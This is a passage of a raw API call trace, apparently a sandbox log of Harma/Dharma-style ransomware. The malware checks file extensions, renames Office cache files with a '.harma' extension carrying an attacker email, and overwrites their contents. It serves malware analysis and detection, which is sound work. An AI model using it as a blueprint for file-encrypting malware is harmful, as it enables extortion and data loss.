(lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.750] lstrlenW (lpString=".doc") returned 4 [0039.750] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0039.750] lstrlenW (lpString=".docx") returned 5 [0039.750] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0039.750] lstrlenW (lpString=".pdf") returned 4 [0039.750] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0039.750] lstrlenW (lpString=".xls") returned 4 [0039.750] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0039.750] lstrlenW (lpString=".xlsx") returned 5 [0039.750] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0039.751] lstrlenW (lpString=".ppt") returned 4 [0039.751] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString=".zip") returned 4 [0039.751] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".rar") returned 4 [0039.751] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".bz2") returned 4 [0039.751] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".7z") returned 3 [0039.751] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString=".dbf") returned 4 [0039.751] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString=".1cd") returned 4 [0039.751] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString=".jpg") returned 4 [0039.751] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.751] lstrlenW (lpString=".doc") returned 4 [0039.751] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".docx") returned 5 [0039.751] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1 [0039.751] lstrlenW (lpString=".pdf") returned 4 [0039.751] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".xls") returned 4 [0039.751] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1 [0039.751] lstrlenW (lpString=".xlsx") returned 5 [0039.752] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1 [0039.752] lstrlenW (lpString=".ppt") returned 4 [0039.752] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.752] lstrlenW (lpString=".zip") returned 4 [0039.752] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString=".rar") returned 4 [0039.752] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString=".bz2") returned 4 [0039.752] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString=".7z") returned 3 [0039.752] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1 [0039.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.752] lstrlenW (lpString=".dbf") returned 4 [0039.752] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.752] lstrlenW (lpString=".1cd") returned 4 [0039.752] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1 [0039.752] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16 [0039.752] lstrlenW (lpString=".jpg") returned 4 [0039.752] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1 [0039.752] Sleep (dwMilliseconds=0x64) [0039.957] Sleep (dwMilliseconds=0x64) [0040.269] lstrcmpiW (lpString1=".cab", lpString2=".harma") returned -1 [0040.269] lstrlenW (lpString="PptLR.cab") returned 9 [0040.269] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0040.417] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=70361744) returned 1 [0040.417] CloseHandle (hObject=0x15c) returned 1 [0040.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab")) returned 0x2020 [0040.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.417] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0040.496] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0040.496] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0040.496] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.496] ReadFile (in: hFile=0x15c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.563] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.563] ReadFile (in: hFile=0x15c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.613] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0040.613] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0040.613] ReadFile (in: hFile=0x15c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.633] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.633] WriteFile (in: hFile=0x15c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc00fe, lpOverlapped=0x0) returned 1 [0040.922] SetEndOfFile (hFile=0x15c) returned 1 [0040.923] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f234d0 [0040.927] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.927] WriteFile (in: hFile=0x15c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.928] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x165e0da, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.928] WriteFile (in: hFile=0x15c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.928] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x42da290, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0040.929] WriteFile (in: hFile=0x15c, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0040.930] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0040.930] CloseHandle (hObject=0x15c) returned 1 [0046.274] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0046.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.275] lstrlenW (lpString=".doc") returned 4 [0046.275] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString=".docx") returned 5 [0046.275] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.275] lstrlenW (lpString=".pdf") returned 4 [0046.275] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString=".xls") returned 4 [0046.275] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString=".xlsx") returned 5 [0046.275] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.275] lstrlenW (lpString=".ppt") returned 4 [0046.275] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.275] lstrlenW (lpString=".zip") returned 4 [0046.275] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString=".rar") returned 4 [0046.275] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.275] lstrlenW (lpString=".bz2") returned 4 [0046.275] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.275] lstrlenW (lpString=".7z") returned 3 [0046.275] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.275] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.275] lstrlenW (lpString=".dbf") returned 4 [0046.276] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.276] lstrlenW (lpString=".1cd") returned 4 [0046.276] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.276] lstrlenW (lpString=".jpg") returned 4 [0046.276] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.276] lstrlenW (lpString=".doc") returned 4 [0046.276] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString=".docx") returned 5 [0046.276] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.276] lstrlenW (lpString=".pdf") returned 4 [0046.276] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString=".xls") returned 4 [0046.276] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString=".xlsx") returned 5 [0046.276] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.276] lstrlenW (lpString=".ppt") returned 4 [0046.276] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.276] lstrlenW (lpString=".zip") returned 4 [0046.276] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString=".rar") returned 4 [0046.276] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.276] lstrlenW (lpString=".bz2") returned 4 [0046.276] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.276] lstrlenW (lpString=".7z") returned 3 [0046.276] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.276] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.277] lstrlenW (lpString=".dbf") returned 4 [0046.277] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.277] lstrlenW (lpString=".1cd") returned 4 [0046.277] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.277] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab") returned 72 [0046.277] lstrlenW (lpString=".jpg") returned 4 [0046.277] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.277] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0046.277] lstrlenW (lpString="OutlookMUI.msi") returned 14 [0046.277] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.277] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=2865664) returned 1 [0046.277] CloseHandle (hObject=0x15c) returned 1 [0046.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi")) returned 0x2020 [0046.277] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0046.278] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0046.293] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0046.293] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.293] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.294] ReadFile (in: hFile=0x15c, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.412] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.412] ReadFile (in: hFile=0x15c, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.423] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2f0fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.423] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.423] ReadFile (in: hFile=0x15c, lpBuffer=0x3b10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2f0fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b10058*, lpNumberOfBytesRead=0x2f0fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.440] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.440] WriteFile (in: hFile=0x15c, lpBuffer=0x3a90020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x2f0fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a90020*, lpNumberOfBytesWritten=0x2f0fcb0*=0xc0108, lpOverlapped=0x0) returned 1 [0046.814] SetEndOfFile (hFile=0x15c) returned 1 [0046.814] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f99e38 [0046.983] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.984] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.985] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xe9355, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.985] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.990] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x27ba00, lpNewFilePointer=0x0, dwMoveMethod=0x2f0fc7c | out: lpNewFilePointer=0x0) returned 1 [0046.991] WriteFile (in: hFile=0x15c, lpBuffer=0x3f99e38*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2f0fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f99e38*, lpNumberOfBytesWritten=0x2f0fc88*=0x40000, lpOverlapped=0x0) returned 1 [0046.993] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f99e38 | out: hHeap=0x5a0000) returned 1 [0046.993] CloseHandle (hObject=0x15c) returned 1 [0047.510] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0047.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.511] lstrlenW (lpString=".doc") returned 4 [0047.511] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.511] lstrlenW (lpString=".docx") returned 5 [0047.511] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.511] lstrlenW (lpString=".pdf") returned 4 [0047.511] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.511] lstrlenW (lpString=".xls") returned 4 [0047.511] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.511] lstrlenW (lpString=".xlsx") returned 5 [0047.511] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.511] lstrlenW (lpString=".ppt") returned 4 [0047.511] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.511] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.511] lstrlenW (lpString=".zip") returned 4 [0047.511] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.511] lstrlenW (lpString=".rar") returned 4 [0047.511] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.511] lstrlenW (lpString=".bz2") returned 4 [0047.511] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.511] lstrlenW (lpString=".7z") returned 3 [0047.512] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString=".dbf") returned 4 [0047.512] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString=".1cd") returned 4 [0047.512] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString=".jpg") returned 4 [0047.512] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString=".doc") returned 4 [0047.512] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0047.512] lstrlenW (lpString=".docx") returned 5 [0047.512] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0047.512] lstrlenW (lpString=".pdf") returned 4 [0047.512] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0047.512] lstrlenW (lpString=".xls") returned 4 [0047.512] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0047.512] lstrlenW (lpString=".xlsx") returned 5 [0047.512] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0047.512] lstrlenW (lpString=".ppt") returned 4 [0047.512] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0047.512] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.512] lstrlenW (lpString=".zip") returned 4 [0047.512] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0047.512] lstrlenW (lpString=".rar") returned 4 [0047.512] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0047.512] lstrlenW (lpString=".bz2") returned 4 [0047.512] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0047.513] lstrlenW (lpString=".7z") returned 3 [0047.513] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0047.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.513] lstrlenW (lpString=".dbf") returned 4 [0047.513] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0047.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.513] lstrlenW (lpString=".1cd") returned 4 [0047.513] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0047.513] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.msi") returned 77 [0047.513] lstrlenW (lpString=".jpg") returned 4 [0047.513] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0047.513] lstrcmpiW (lpString1=".msi", lpString2=".harma") returned 1 [0047.513] lstrlenW (lpString="WordMUI.msi") returned 11 [0047.513] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0047.513] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2f0ff1c | out: lpFileSize=0x2f0ff1c*=2522624) returned 1 [0047.513] CloseHandle (hObject=0x15c) returned 1 [0047.514] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.msi")) returned 0x2020 [0047.514] 